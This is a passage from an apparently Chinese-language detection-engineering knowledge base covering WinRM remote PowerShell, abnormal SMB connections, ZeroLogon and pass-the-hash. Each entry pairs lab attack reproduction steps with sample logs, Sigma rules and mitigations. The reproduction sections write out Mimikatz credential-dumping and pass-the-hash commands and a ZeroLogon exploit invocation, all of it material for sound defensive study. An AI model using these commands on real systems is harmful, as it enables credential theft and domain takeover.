5985(HTTP)或5986(HTTPS)端口,依赖Kerberos或NTLM认证。 ## 测试案例 ### 用例 - **远程命令执行**:使用`Enter-PSSession`在远程系统上执行PowerShell命令(如文件操作、配置修改)。 - **横向移动**:通过WinRM登录目标系统,运行恶意脚本或Payload。 - **持久化**:通过远程PowerShell创建计划任务或服务。 - **数据窃取**:远程访问目标系统,提取敏感文件或凭据。 ### 示例场景 - 攻击者使用有效管理员凭据通过`Enter-PSSession`建立远程PowerShell会话,运行命令收集系统信息。 - 结合`Invoke-Command`在多台远程系统上批量执行恶意脚本。 ### 路径 - WinRM相关进程: ```yml - C:\Windows\System32\svchost.exe (WinRM服务宿主) - C:\Windows\System32\wsmprovhost.exe (PowerShell远程会话宿主) - C:\Windows\System32\dllhost.exe (COM+组件,可能与WinRM相关) ``` ### 所需权限 - 管理员权限(执行远程PowerShell会话)。 - 有效凭据(域或本地账户)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`wsmprovhost.exe`或`dllhost.exe`进程创建(需启用命令行审核)。 - **事件ID 4624**:记录WinRM登录事件(类型3,网络登录)。 - **事件ID 4672**:记录分配给新登录的安全特权(如管理员权限)。 ### Sysmon日志 - **事件ID 1**:捕获`wsmprovhost.exe`或`dllhost.exe`进程创建及命令行参数。 - **事件ID 3**:记录WinRM相关的网络连接(TCP 5985/5986)。 - **事件ID 11**:记录远程会话生成的文件(如脚本输出)。 ### PowerShell日志 - **事件ID 4104**:记录PowerShell脚本块执行(如`Enter-PSSession`)。 - **事件ID 600**:记录PowerShell远程会话的建立。 ### 网络日志 - 捕获TCP 5985(HTTP)或5986(HTTPS)端口的WinRM流量。 ## 测试复现 ### 环境准备 - **靶机**:Windows Server 2016或Windows 10/11(已启用WinRM)。 - **权限**:域管理员或本地管理员凭据。 - **工具**: - PowerShell(系统自带)。 - Sysmon(监控进程和网络活动)。 - Wireshark(捕获WinRM流量)。 - **网络**:隔离网络环境,允许TCP 5985/5986流量。 - **日志**:启用Windows安全日志、Sysmon日志和PowerShell日志。 - **WinRM配置**: - 确保WinRM服务启用: ```powershell Enable-PSRemoting -Force ``` - 检查WinRM监听器: ```powershell winrm enumerate winrm/config/listener ``` ### 攻击步骤 1. **验证凭据**: - 确保拥有目标系统的管理员凭据(如`WEIDONG\Administrator:Password123`)。 2. **建立远程PowerShell会话**: ```powershell Enter-PSSession -ComputerName 192.168.1.100 -Credential (Get-Credential) ``` - 输入凭据后,进入远程会话。 3. **执行测试命令**: - 在远程会话中运行: ```powershell Get-Process ``` - 或保存输出到文件: ```powershell Get-Process > C:\Temp\processes.txt ``` 4. **验证结果**: - 检查目标系统是否生成`C:\Temp\processes.txt`。 - 使用Wireshark捕获TCP 5985/5986流量。 - 验证Sysmon日志是否记录`wsmprovhost.exe`或`dllhost.exe`进程创建。 5. **清理**: - 删除生成的文件: ```powershell Remove-Item C:\Temp\processes.txt -ErrorAction Ignore ``` - 退出会话: ```powershell Exit-PSSession ``` ## 测试留痕 以下为Windows安全日志示例(事件ID 4688,进程创建): ```yml EventID: 4688 TimeCreated: 2025-06-08T04:50:23.456Z Channel: Security Hostname: TARGET-SRV SubjectUserSid: S-1-5-21-1234567890-123456789-1234567890-500 SubjectUserName: Administrator SubjectDomainName: WEIDONG SubjectLogonId: 0x3E7 NewProcessId: 0x1a2c NewProcessName: C:\Windows\System32\wsmprovhost.exe ProcessCommandLine: C:\Windows\System32\wsmprovhost.exe -Embedding CreatorProcessId: 0x4b0 CreatorProcessName: C:\Windows\System32\svchost.exe TokenElevationType: %%1936 ``` 以下为Sysmon日志示例(事件ID 1,进程创建): ```yml EventID: 1 UtcTime: 2025-06-08T04:50:23.789Z ProcessGuid: {4a363fee-27c2-623c-decd-3f0000000000} ProcessId: 6704 Image: C:\Windows\System32\wsmprovhost.exe CommandLine: C:\Windows\System32\wsmprovhost.exe -Embedding CurrentDirectory: C:\Windows\system32\ User: WEIDONG\Administrator LogonId: 0x3E7 IntegrityLevel: High Hashes: SHA1=A17C21B909C56D93D978014E63FB06926EAEA8E7 ParentProcessId: 1024 ParentImage: C:\Windows\System32\svchost.exe ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测远程PowerShell会话的活动: ```yml title: Suspicious Remote PowerShell Session id: e8f9d7c6-7a5b-8c9d-0e1f-6a7b8c9d0e1f status: experimental description: Detects remote PowerShell sessions via WinRM involving wsmprovhost.exe or dllhost.exe references: - https://attack.mitre.org/techniques/T1021/006 - https://www.cnblogs.com/gamewyd/p/6805595.html logsource: product: windows category: process_creation detection: selection1: EventID: 4688 Image|endswith: '\dllhost.exe' ParentImage|endswith: '\svchost.exe' selection2: EventID: 4688 Image|endswith: '\wsmprovhost.exe' ParentImage|endswith: '\svchost.exe' CommandLine|contains: '-Embedding' timeframe: 2s condition: selection1 or selection2 falsepositives: - Legitimate administrative use of PowerShell remoting - IT management scripts level: medium ``` ### 检测思路 1. **进程监控**: - 检测`wsmprovhost.exe`或`dllhost.exe`进程创建,尤其是父进程为`svchost.exe`且命令行包含`-Embedding`。 - 监控异常父进程(如`powershell.exe`)调用WinRM相关进程。 2. **网络监控**: - 检测TCP 5985(HTTP)或5986(HTTPS)端口的WinRM流量。 - 检查流量是否涉及可疑源IP或目标IP。 3. **PowerShell监控**: - 检查PowerShell事件ID 4104,捕获`Enter-PSSession`或`Invoke-Command`的执行。 4. **文件监控**: - 检测远程会话生成的文件(如`C:\Temp\processes.txt`)。 5. **行为基线**: - 建立组织内WinRM和PowerShell的正常使用模式,识别异常行为(如夜间会话、非管理员用户)。 ### 检测建议 - **Sysmon配置**:配置Sysmon监控进程创建(事件ID 1)、网络连接(事件ID 3)和文件操作(事件ID 11)。 - **PowerShell日志**:启用PowerShell模块、脚本块和命令行日志,捕获`Enter-PSSession`相关活动。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)检测WinRM相关进程和网络活动。 - **误报过滤**:排除IT管理员的合法PowerShell远程操作,结合上下文(如用户身份、时间)降低误报率。 ## 缓解措施 1. **WinRM限制**: - 禁用不必要的WinRM服务: ```powershell Disable-PSRemoting -Force ``` - 限制WinRM访问,仅允许特定用户或IP: ```powershell Set-PSSessionConfiguration -Name Microsoft.PowerShell -ShowSecurityDescriptorUI ``` 2. **凭据保护**: - 启用多因素认证(MFA)保护管理员账户。 - 限制NTLM认证,优先使用Kerberos。 3. **网络限制**: - 配置防火墙阻止未经授权的TCP 5985/5986流量。 - 使用网络分段隔离敏感系统。 4. **PowerShell限制**: - 配置PowerShell执行策略(如`ConstrainedLanguageMode`),限制未签名脚本。 - 使用AppLocker或WDAC限制`powershell.exe`执行。 5. **监控与告警**: - 部署IDS/IPS,检测异常WinRM流量。 - 配置SIEM实时告警远程PowerShell会话。 ## 参考推荐 - MITRE ATT&CK T1021.006 https://attack.mitre.org/techniques/T1021/006 - WinRM Service https://www.cnblogs.com/gamewyd/p/6805595.html ================================================ FILE: Windows/10横向移动/T1210-win-异常的SMB链接行为.md ================================================ # T1210-Win-异常的SMB链接行为 ## 描述 攻击者在网络中建立立足点后,可能利用远程服务的漏洞(如服务器消息块协议,SMB)获得对内部系统的未授权访问。T1210技术涉及利用程序、服务或操作系统内核中的编程错误执行恶意代码,以实现横向移动或权限提升。攻击者可能通过网络服务扫描(如端口445的SMB扫描)识别易受攻击的系统,寻找已知漏洞(如EternalBlue)或弱配置。SMB(TCP 445)是Windows文件共享的常见协议,广泛用于访问共享资源(如`C$`、`ADMIN$`)。异常的SMB连接(如用户级进程发起的445端口连接)可能指示端口扫描、漏洞利用或横向移动行为。服务器和端点系统均可能成为目标,尤其是提供访问其他资源的系统。 ## 测试案例 ### 用例 - **端口扫描**:攻击者使用工具(如Nmap)扫描网络中的SMB服务(TCP 445)。 - **漏洞利用**:利用SMB漏洞(如MS17-010)在目标系统上执行代码。 - **横向移动**:通过SMB访问`IPC$`共享,运行远程命令或上传恶意文件。 - **异常连接**:非系统进程(如`dns.exe`)发起SMB连接,可能表示恶意行为。 ### 示例场景 - 攻击者使用自定义工具发起TCP 445连接,尝试访问目标系统的`C$`共享。 - 非内核进程(如`dns.exe`)建立出站SMB连接,可能是恶意软件或横向移动的迹象。 ### 路径 - SMB共享路径: ```yml - \\\C$ - \\\ADMIN$ - \\\IPC$ ``` ### 所需权限 - 有效凭据(域或本地账户,访问共享)。 - 无需凭据(某些漏洞利用,如EternalBlue)。 - 网络访问权限(TCP 445)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 5156**:记录Windows筛选平台(WFP)允许的网络连接(如TCP 445)。 - **事件ID 5140**:记录网络共享访问(如`C$`、`IPC$`)。 - **事件ID 4624**:记录SMB会话的网络登录(Logon Type 3)。 - **事件ID 4688**:记录发起SMB连接的进程创建(需启用命令行审核)。 ### Sysmon日志 - **事件ID 3**:记录TCP 445的网络连接(源IP、目标IP、进程)。 - **事件ID 1**:捕获发起SMB连接的进程创建及命令行参数。 - **事件ID 11**:记录共享中文件的创建或修改。 ### 网络日志 - 捕获TCP 445端口的Netflow或PCAP数据,记录SMB流量。 ## 测试复现 ### 环境准备 - **靶机**:Windows Server 2016或Windows 10/11(已启用SMB)。 - **攻击机**:Kali Linux或其他支持SMB测试工具的系统。 - **权限**:有效凭据或无需凭据(漏洞利用)。 - **工具**: - Nmap(扫描TCP 445)。 - Metasploit(SMB漏洞利用,如MS17-010)。 - `net.exe`(测试SMB共享访问)。 - Sysmon(监控进程和网络活动)。 - Wireshark(捕获SMB流量)。 - **网络**:隔离网络环境,允许TCP 445流量。 - **日志**:启用Windows安全日志(事件ID 5156)、Sysmon日志和Netflow日志。 ### 攻击步骤 1. **扫描SMB服务**: ```bash nmap -p 445 192.168.1.100 ``` - 确认目标系统开放TCP 445端口。 2. **尝试SMB连接**: ```bash net use \\192.168.1.100\IPC$ /user:WEIDONG\Administrator Password123 ``` - 建立`IPC$`共享连接。 3. **模拟异常进程连接**: - 使用自定义脚本(如Python)模拟非系统进程发起SMB连接: ```python from smb.SMBConnection import SMBConnection conn = SMBConnection("Administrator", "Password123", "ATTACKER", "TARGET", domain="WEIDONG") conn.connect("192.168.1.100", 445) ``` 4. **验证结果**: - 检查Windows安全日志,确认事件ID 5156(TCP 445连接)。 - 使用Wireshark捕获TCP 445流量。 - 验证Sysmon日志是否记录非系统进程(如`python.exe`)的网络连接。 5. **清理**: - 断开SMB连接: ```bash net use \\192.168.1.100\IPC$ /delete ``` ## 测试留痕 以下为Windows安全日志示例(事件ID 5156,网络连接): ```yml EventID: 5156 TimeCreated: 2025-06-08T05:30:23.456Z Channel: Security Hostname: TARGET-SRV ProcessId: 1752 Application: \device\harddiskvolume1\windows\system32\dns.exe Direction: Outbound SourceAddress: 10.45.45.103 SourcePort: 50146 DestinationAddress: 10.45.45.104 DestinationPort: 445 Protocol: 6 FilterRunTimeId: 5 LayerName: Connect LayerRunTimeId: 48 ``` 以下为Sysmon日志示例(事件ID 3,网络连接): ```yml EventID: 3 UtcTime: 2025-06-08T05:30:23.789Z ProcessGuid: {4a363fee-27c2-623c-decd-3f0000000000} ProcessId: 1752 Image: C:\Windows\System32\dns.exe User: NT AUTHORITY\SYSTEM Protocol: tcp SourceIp: 10.45.45.103 SourcePort: 50146 DestinationIp: 10.45.45.104 DestinationPort: 445 ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测异常的SMB连接行为: ```yml title: Suspicious SMB Connection Behavior id: a7b8c9d6-9a5b-0c8d-1e2f-8a6b7c8d9e3f status: experimental description: Detects abnormal SMB connections on port 445 by non-system processes references: - https://attack.mitre.org/techniques/T1210 - https://www.elastic.co/guide/en/siem/guide/current/direct-outbound-smb-connection.html - https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=5156 logsource: product: windows category: network_connection detection: selection: EventID: 5156 DestinationPort: 445 filter: DestinationAddress: - 127.0.0.1 - ::1 ProcessId: 4 # System process condition: selection and not filter falsepositives: - Legitimate SMB connections by administrative tools - File sharing or backup processes level: medium ``` ### Elastic Rule Query ```yml event.action:"Network connection detected (rule: NetworkConnect)" and destination.port:445 and not process.pid:4 and not destination.ip:(127.0.0.1 or "::1") ``` ### 检测思路 1. **网络连接监控**: - 检测TCP 445端口的出站或入站连接,尤其是非系统进程(如`dns.exe`、`python.exe`)发起的连接。 - 排除本地回环地址(127.0.0.1、::1)和系统进程(PID 4)。 2. **进程监控**: - 检测发起SMB连接的异常进程,关注非典型应用(如浏览器、脚本解释器)。 - 检查事件ID 4688,捕获进程的命令行参数。 3. **共享访问监控**: - 检测`C$`、`ADMIN$`或`IPC$`共享的访问(事件ID 5140)。 4. **行为基线**: - 建立组织内SMB连接的正常模式,识别异常行为(如夜间连接、未知源IP)。 5. **漏洞扫描检测**: - 监控TCP 445的频繁扫描行为,可能指示攻击者寻找易受攻击的系统。 ### 检测建议 - **Sysmon配置**:配置Sysmon监控网络连接(事件ID 3)、进程创建(事件ID 1)和共享访问(事件ID 11)。 - **日志配置**:启用Windows安全日志的网络连接审核(事件ID 5156)。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)检测异常SMB连接和进程行为。 - **误报过滤**:排除合法文件共享、备份工具或管理员操作,结合上下文(如进程、IP)降低误报率。 ## 缓解措施 1. **补丁管理**: - 应用SMB相关漏洞补丁(如MS17-010)。 - 定期更新Windows系统,防止已知漏洞利用。 2. **网络限制**: - 配置防火墙阻止未经授权的TCP 445流量。 - 使用网络分段隔离敏感系统,减少SMB暴露面。 3. **共享访问控制**: - 禁用不必要的管理员共享: ```bash reg add "HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /t REG_DWORD /d 0 /f ``` - 限制对`C$`、`ADMIN$`和`IPC$`的访问。 4. **凭据保护**: - 启用多因素认证(MFA)保护管理员账户。 - 限制NTLM认证,优先使用Kerberos。 5. **监控与告警**: - 部署IDS/IPS,检测异常SMB流量或扫描行为。 - 配置SIEM实时告警非系统进程的SMB连接。 ## 参考推荐 - MITRE ATT&CK T1210 https://attack.mitre.org/techniques/T1210 - Elastic SMB连接检测 https://www.elastic.co/guide/en/siem/guide/current/direct-outbound-smb-connection.html - Windows事件ID 5156 https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=5156 - 删除/切换Samba共享连接 https://blog.csdn.net/u013038461/article/details/39934061 ================================================ FILE: Windows/10横向移动/T1210-win-检测到匿名计算机账户更改的使用.md ================================================ # T1210-Win-检测到匿名计算机账户更改的使用 ## 描述 攻击者可能利用远程服务的漏洞(如SMB、RDP或Netlogon)获得对内部系统的未授权访问。T1210技术涉及利用程序、服务或操作系统内核中的编程错误执行恶意代码,通常用于横向移动以访问其他系统。攻击者可能通过网络服务扫描(如扫描SMB、RDP或Netlogon漏洞)识别易受攻击的系统。其中,CVE-2020-1472(ZeroLogon)是一个典型漏洞,允许攻击者通过匿名账户(如`ANONYMOUS LOGON`)修改计算机账户属性(如密码),进而控制域控制器。服务器和端点系统均可能成为目标,尤其是提供访问其他资源的端点系统。 ## 测试案例 ### 用例 - **ZeroLogon利用**:攻击者利用CVE-2020-1472,通过匿名账户重置域控制器计算机账户密码,获得域管理员权限。 - **横向移动**:利用匿名账户访问SMB共享(如`C$`)或通过RDP登录。 - **权限提升**:通过修改计算机账户属性,结合其他技术(如传递哈希)实现特权升级。 ### 示例场景 - 攻击者使用ZeroLogon漏洞,通过Netlogon协议以`ANONYMOUS LOGON`身份修改域控制器计算机账户密码,随后通过SMB或RDP访问目标系统。 - 结合有效凭据,利用修改后的计算机账户执行远程命令或提取数据。 ### 路径 - Netlogon相关路径: ```yml - \\\NETLOGON - \\\SYSVOL ``` ### 所需权限 - 无需凭据(匿名账户,`ANONYMOUS LOGON`)。 - 网络访问权限(访问Netlogon服务,通常TCP 445)。 ### 操作系统 - Windows Server 2008、2012、2016、2019(未修补CVE-2020-1472的版本)。 - Windows 7、8、8.1、10、11(端点系统可能间接受影响)。 ## 检测日志 ### Windows安全日志 - **事件ID 4742**:记录计算机账户更改(如密码重置)。 - **事件ID 4624**:记录匿名账户登录(`ANONYMOUS LOGON`,Logon Type 3)。 - **事件ID 4672**:记录分配给新登录的安全特权(如域管理员权限)。 ### Sysmon日志 - **事件ID 1**:捕获相关进程(如`lsass.exe`)创建或异常命令行。 - **事件ID 3**:记录Netlogon相关的网络连接(TCP 445)。 - **事件ID 13**:记录计算机账户相关的注册表修改。 ### 网络日志 - 捕获TCP 445端口的Netlogon流量,关注`ANONYMOUS LOGON`认证。 ## 测试复现 ### 环境准备 - **靶机**:Windows Server 2016(未修补CVE-2020-1472)作为域控制器。 - **攻击机**:Kali Linux或其他支持ZeroLogon利用工具的系统。 - **权限**:无需凭据(匿名访问)。 - **工具**: - ZeroLogon利用脚本(如https://github.com/risksense/zerologon)。 - Sysmon(监控进程和网络活动)。 - Wireshark(捕获Netlogon流量)。 - **网络**:隔离网络环境,允许TCP 445流量。 - **日志**:启用Windows安全日志(需启用“审核计算机帐户管理”策略)、Sysmon日志和网络日志。 ### 攻击步骤 1. **验证环境**: - 确认靶机为未修补的Windows Server(CVE-2020-1472易受攻击)。 - 获取域控制器主机名(如`DC01`)和IP(如`192.168.1.100`)。 2. **运行ZeroLogon利用**: ```bash python3 zerologon.py DC01 192.168.1.100 ``` - 工具会尝试以`ANONYMOUS LOGON`身份重置计算机账户密码。 3. **验证结果**: - 检查Windows安全日志,确认事件ID 4742(计算机账户更改)和4624(匿名登录)。 - 使用Wireshark捕获TCP 445流量,验证Netlogon协议活动。 - 尝试使用重置的密码登录域控制器(如通过`psexec`)。 4. **清理**: - 恢复域控制器计算机账户密码(需手动或通过备份)。 - 应用CVE-2020-1472补丁(KB4577051)。 ### 注意事项 - 测试需在合法授权的隔离环境中进行,避免对生产环境造成破坏。 - ZeroLogon利用可能导致域控制器账户不可用,需准备恢复机制。 ## 测试留痕 以下为Windows安全日志示例(事件ID 4742,计算机账户更改): ```yml EventID: 4742 TimeCreated: 2025-06-08T05:10:23.456Z Channel: Security Hostname: DC01 SubjectUserSid: S-1-5-21-3108364787-189202583-342365621-500 SubjectUserName: Administrator SubjectDomainName: ACME SubjectLogonId: 0x27a79 TargetUserSid: S-1-5-21-3108364787-189202583-342365621-1109 TargetUserName: WS2321$ TargetDomainName: ACME UserAccountControl: Account Enabled OldUACValue: 0x85 NewUACValue: 0x84 ``` 以下为Windows安全日志示例(事件ID 4624,匿名登录): ```yml EventID: 4624 TimeCreated: 2025-06-08T05:10:23.789Z Channel: Security Hostname: DESKTOP-LLHJ389 SubjectUserSid: S-1-5-18 SubjectUserName: DESKTOP-LLHJ389$ SubjectDomainName: WORKGROUP SubjectLogonId: 0x3E7 LogonType: 3 NewLogonUserSid: S-1-5-7 NewLogonUserName: ANONYMOUS LOGON NewLogonDomain: NT AUTHORITY LogonProcess: Negotiat AuthenticationPackage: Negotiate ProcessId: 0x30c ProcessName: C:\Windows\System32\lsass.exe ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测匿名账户更改计算机账户的行为: ```yml title: Suspicious Anonymous Computer Account Change id: f9e8d7c6-8a5b-9c8d-0e1f-7a6b8c9d0e2f status: experimental description: Detects anonymous account usage for computer account changes via Windows security logs references: - https://attack.mitre.org/techniques/T1210 - https://github.com/splunk/security_content/blob/develop/detections/endpoint/detect_computer_changed_with_anonymous_account.yml - https://www.lares.com/blog/from-lares-labs-defensive-guidance-for-zerologon-cve-2020-1472/ logsource: product: windows category: security detection: selection: EventID: - 4742 - 4624 TargetUserName|contains: '$' # 计算机账户以$结尾 NewLogonUserName: ANONYMOUS LOGON LogonType: 3 condition: selection falsepositives: - Legitimate administrative actions using anonymous logon - Certain system processes in specific configurations level: medium ``` ### 检测思路 1. **计算机账户监控**: - 检测事件ID 4742,关注计算机账户(如以`$`结尾)的更改,尤其是涉及`ANONYMOUS LOGON`。 2. **登录事件监控**: - 检测事件ID 4624(Logon Type 3),确认`ANONYMOUS LOGON`的网络登录。 3. **网络监控**: - 检测TCP 445端口的Netlogon流量,关注匿名认证。 4. **进程监控**: - 检测`lsass.exe`的异常活动,可能涉及Netlogon认证。 5. **行为基线**: - 建立组织内计算机账户更改和匿名登录的正常模式,识别异常行为(如夜间操作、非预期IP)。 ### 检测建议 - **日志配置**:启用“审核计算机帐户管理”策略,生成事件ID 4742。 - **Sysmon配置**:配置Sysmon监控进程创建(事件ID 1)、网络连接(事件ID 3)和注册表修改(事件ID 13)。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)检测匿名登录和计算机账户更改。 - **误报过滤**:排除合法系统进程或管理员操作,结合上下文(如IP、时间)降低误报率。 ## 缓解措施 1. **补丁管理**: - 应用CVE-2020-1472补丁(KB4577051)修复ZeroLogon漏洞。 - 定期更新Windows系统,防止其他Netlogon漏洞。 2. **凭据保护**: - 限制匿名访问Netlogon服务: ```powershell Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" -Name "RestrictAnonymous" -Value 2 ``` - 启用Kerberos认证,禁用NTLM。 3. **网络限制**: - 配置防火墙阻止未经授权的TCP 445流量。 - 使用网络分段隔离域控制器。 4. **监控与告警**: - 部署IDS/IPS,检测异常Netlogon流量。 - 配置SIEM实时告警匿名登录和计算机账户更改。 5. **账户管理**: - 定期审查域控制器计算机账户状态,检测异常更改。 ## 参考推荐 - MITRE ATT&CK T1210 https://attack.mitre.org/techniques/T1210 - Splunk检测规则 https://github.com/splunk/security_content/blob/develop/detections/endpoint/detect_computer_changed_with_anonymous_account.yml - ZeroLogon防御指南 https://www.lares.com/blog/from-lares-labs-defensive-guidance-for-zerologon-cve-2020-1472/ ================================================ FILE: Windows/10横向移动/T1550.002-Win-哈希传递.md ================================================ # T1550.002-Win-哈希传递 ## 描述 攻击者可能通过“传递哈希”(Pass-the-Hash, PtH)技术使用窃取的NTLM密码哈希进行身份验证,绕过明文密码要求,从而在网络环境中横向移动。PtH利用系统存储的密码哈希(而非明文密码)进行NTLM认证,允许攻击者以目标用户身份访问本地或远程系统(如通过SMB、RDP)。攻击者通常通过凭据访问技术(如Mimikatz从内存中提取哈希)获取有效哈希,随后使用工具(如Mimikatz、PsExec)进行身份验证和操作。Windows 7及更高版本(安装KB2871997后)要求域用户凭据或RID 500管理员哈希,增加了攻击难度,但未完全阻止PtH。 ## 测试案例 ### 用例 - **横向移动**:使用窃取的NTLM哈希通过SMB访问远程系统的`C$`共享。 - **权限提升**:利用域管理员哈希访问域控制器,执行特权操作。 - **远程执行**:通过PtH结合PsExec或WMI在远程系统上运行命令。 - **数据窃取**:通过PtH访问共享文件夹,提取敏感文件。 ### 示例场景 - 攻击者使用Mimikatz从本地系统提取管理员NTLM哈希,通过PtH登录域控制器,执行命令或上传恶意文件。 - 结合SMB共享,上传Payload并通过PsExec执行。 ### 路径 - 常用工具路径: ```yml - C:\Windows\System32\lsass.exe (哈希提取相关进程) - C:\Temp\mimikatz.exe (攻击者部署的Mimikatz) ``` ### 所需权限 - 本地管理员权限(提取NTLM哈希)。 - 有效NTLM哈希(域或本地账户)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 4624**:记录成功登录(Logon Type 3,网络登录,PtH成功)。 - **事件ID 4625**:记录登录失败(可能因无效哈希或配置限制)。 - **事件ID 4672**:记录分配给新登录的安全特权(如管理员权限)。 ### Sysmon日志 - **事件ID 1**:捕获Mimikatz或其他工具的进程创建(如`mimikatz.exe`)。 - **事件ID 3**:记录PtH相关的网络连接(TCP 445、3389)。 - **事件ID 10**:记录进程访问(如Mimikatz访问`lsass.exe`)。 ### 网络日志 - 捕获TCP 445(SMB)或3389(RDP)流量,关注NTLM认证。 ## 测试复现 ### 环境准备 - **域控制器(DC)**:Windows Server 2008 R2。 - **靶机(PC1)**:Windows Server 2008 R2(目标主机)。 - **攻击机(PC2)**:Windows 7。 - **权限**:本地或域管理员权限(提取哈希)。 - **工具**: - Mimikatz(https://github.com/gentilkiwi/mimikatz)。 - Sysmon(监控进程和网络活动)。 - Wireshark(捕获网络流量)。 - **网络**:隔离网络环境,允许TCP 445流量。 - **日志**:启用Windows安全日志(事件ID 4624、4625)、Sysmon日志和网络日志。 ### 攻击步骤 1. **提取NTLM哈希**: - 在攻击机(PC2)以管理员权限运行Mimikatz: ```bash mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit ``` - 获取目标账户(如`xiaomi.org\Administrator`)的NTLM哈希,例如: ```plaintext NTLM: 762c6fa6a9adb2f5ff215484bd8296b7 ``` 2. **执行PtH攻击**: - 使用Mimikatz进行哈希传递: ```bash mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:xiaomi.org /ntlm:762c6fa6a9adb2f5ff215484bd8296b7" exit ``` - 成功后,Mimikatz将启动一个新进程(如`cmd.exe`),使用提供的哈希进行认证。 3. **验证访问**: - 使用新进程访问目标主机(PC1): ```bash net use \\192.168.66.100\IPC$ dir \\192.168.66.100\C$ ``` - 或通过RDP登录: ```bash mstsc /v:192.168.66.100 ``` 4. **验证结果**: - 检查PC1的安全日志,确认事件ID 4624(成功登录)或4625(失败登录)。 - 使用Wireshark捕获TCP 445流量,验证NTLM认证。 - 验证Sysmon日志是否记录Mimikatz进程和网络连接。 5. **清理**: - 断开SMB连接: ```bash net use \\192.168.66.100\IPC$ /delete ``` - 删除Mimikatz: ```bash del C:\Temp\mimikatz.exe ``` ## 测试留痕 以下为目标主机(PC1)安全日志示例(事件ID 4624,PtH成功): ```yml EventID: 4624 TimeCreated: 2025-06-08T05:45:23.456Z Channel: Security Hostname: PC1 SubjectUserSid: S-1-5-7 SubjectUserName: - SubjectDomainName: - SubjectLogonId: 0x0 LogonType: 3 NewLogonUserSid: S-1-5-21-3576461989-1381017913-248049510-500 NewLogonUserName: Administrator NewLogonDomain: XIAOMI LogonId: 0xF86B9 LogonProcess: NtLmSsp AuthenticationPackage: NTLM WorkstationName: 12306BR0-PC SourceNetworkAddress: 192.168.66.88 SourcePort: 49251 KeyLength: 128 ``` 以下为目标主机(PC1)安全日志示例(事件ID 4625,PtH失败): ```yml EventID: 4625 TimeCreated: 2025-06-08T05:45:24.789Z Channel: Security Hostname: PC1 SubjectUserSid: S-1-5-7 SubjectUserName: administrator SubjectDomainName: xiaomi.org LogonType: 3 FailureReason: Unknown user name or bad password Status: 0xC000006D SubStatus: 0xC000006A LogonProcess: NtLmSsp AuthenticationPackage: NTLM WorkstationName: 12306BR0-PC SourceNetworkAddress: 192.168.66.88 SourcePort: 49253 KeyLength: 0 ``` 以下为攻击机(PC2)安全日志示例(事件ID 4624,Mimikatz会话): ```yml EventID: 4624 TimeCreated: 2025-06-08T05:45:23.123Z Channel: Security Hostname: 12306BR0-PC SubjectUserSid: S-1-5-21-3579006141-3881886638-2121494774-1000 SubjectUserName: 12306Br0 SubjectDomainName: 12306BR0-PC SubjectLogonId: 0x1AB7F9 LogonType: 9 NewLogonUserSid: S-1-5-21-3579006141-3881886638-2121494774-1000 NewLogonUserName: 12306Br0 NewLogonDomain: 12306BR0-PC LogonId: 0x234995 LogonProcess: seclogo AuthenticationPackage: Negotiate ProcessId: 0x398 ProcessName: C:\Windows\System32\svchost.exe SourceNetworkAddress: ::1 SourcePort: 0 ``` ## 检测方法/思路 ### Sigma规则 #### 目标主机(PC1) ```yml title: Pass the Hash Activity (Target Host) id: f8d98d6c-7a07-4d74-b064-dd4a3c244528 status: experimental description: Detects Pass-the-Hash activity on target host using NTLM authentication references: - https://attack.mitre.org/techniques/T1550/002 - https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events logsource: product: windows category: security detection: selection: EventID: - 4624 - 4625 LogonType: '3' LogonProcessName: 'NtLmSsp' WorkstationName|contains: '%Workstations%' ComputerName|contains: '%Workstations%' filter: NewLogonUserName: 'ANONYMOUS LOGON' condition: selection and not filter falsepositives: - Legitimate administrative NTLM authentication - Penetration testing level: medium ``` #### 攻击机(PC2) ```yml title: Pass the Hash Activity (Attack Host) id: 8eef149c-bd26-49f2-9e5a-9b00e3af499b status: experimental description: Detects Pass-the-Hash activity initiated from attack host references: - https://attack.mitre.org/techniques/T1550/002 - https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events - https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis logsource: product: windows category: security detection: selection: EventID: 4624 LogonType: - '3' - '9' LogonProcessName: - 'NtLmSsp' - 'seclogo' KeyLength: '0' filter: NewLogonUserName: 'ANONYMOUS LOGON' condition: selection and not filter falsepositives: - Legitimate administrative activities - Penetration testing level: medium ``` ### 检测思路 1. **登录事件监控**: - 检测事件ID 4624(Logon Type 3,NTLM认证),关注`NtLmSsp`登录进程。 - 检测事件ID 4625,识别失败的PtH尝试(状态码0xC000006A表示密码错误)。 2. **进程监控**: - 检测Mimikatz相关进程(如`mimikatz.exe`)或异常访问`lsass.exe`的行为。 - 检查事件ID 4688,捕获可疑进程(如`cmd.exe`)的命令行参数。 3. **网络监控**: - 检测TCP 445(SMB)或3389(RDP)流量,关注NTLM认证。 - 检查源IP是否为非预期工作站。 4. **行为基线**: - 建立组织内NTLM认证的正常模式,识别异常登录(如夜间操作、未知源IP)。 5. **工具检测**: - 监控Mimikatz的典型命令行参数(如`sekurlsa::pth`、`privilege::debug`)。 ### 检测建议 - **日志配置**:启用Windows安全日志的登录事件审核(事件ID 4624、4625)。 - 